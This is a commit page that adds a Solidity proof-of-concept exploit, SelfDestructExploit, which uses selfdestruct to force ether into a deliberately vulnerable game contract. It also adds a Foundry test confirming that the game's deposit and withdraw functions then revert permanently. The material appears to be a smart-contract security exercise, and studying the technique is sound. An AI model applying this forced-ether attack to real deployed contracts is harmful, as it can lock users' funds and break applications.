-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add exploit contract and test to prove it
- Loading branch information
1 parent
a4b455e
commit 38fa9ef
Showing
2 changed files
with
69 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
import {VulnerableGame} from "./VulnerableGame.sol"; | ||
|
||
/** | ||
* @title SelfDestructExploit | ||
* @dev A contract that attacks the VulnerableGame contract by sending | ||
* ether such that the game balance is suddenly >= 10 ether. | ||
*/ | ||
contract SelfDestructExploit { | ||
VulnerableGame game; | ||
|
||
constructor(VulnerableGame _game) payable { | ||
game = VulnerableGame(_game); | ||
} | ||
|
||
function attack() public payable { | ||
// Break the game by sending ether such that | ||
// the game balance is suddenly >= 10 ether | ||
address payable addr = payable(address(game)); | ||
selfdestruct(addr); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import {Test, console} from "../lib/forge-std/src/Test.sol"; | ||
import {VulnerableGame} from "../src/VulnerableGame.sol"; | ||
import {SelfDestructExploit} from "../src/SelfDestructExploit.sol"; | ||
|
||
contract ExploitTest is Test { | ||
uint256 constant EXPLOIT_FUNDS = 20 ether; | ||
VulnerableGame game; | ||
SelfDestructExploit exploit; | ||
|
||
error VulnerableGame__WinnerMustWithdraw(); | ||
error VulnerableGame__OnlyWinnerCanWithdraw(); | ||
|
||
function setUp() public { | ||
game = new VulnerableGame(); | ||
|
||
exploit = new SelfDestructExploit{value: EXPLOIT_FUNDS}(game); | ||
} | ||
|
||
function testExploit() public { | ||
assertEq(address(game).balance, 0 ether); | ||
|
||
exploit.attack(); | ||
|
||
assertEq(address(game).balance, EXPLOIT_FUNDS); | ||
|
||
// Ensure that calling `game.deposit()` now fails | ||
vm.expectRevert( | ||
VulnerableGame.VulnerableGame__WinnerMustWithdraw.selector | ||
); | ||
game.deposit{value: 1 ether}(); | ||
|
||
// Ensure that calling `game.withdraw()` now fails | ||
vm.expectRevert( | ||
VulnerableGame.VulnerableGame__OnlyWinnerCanWithdraw.selector | ||
); | ||
game.withdraw(); | ||
|
||
// Ensure that the winner is still address(0) | ||
assertEq(game.winner(), address(0)); | ||
} | ||
} |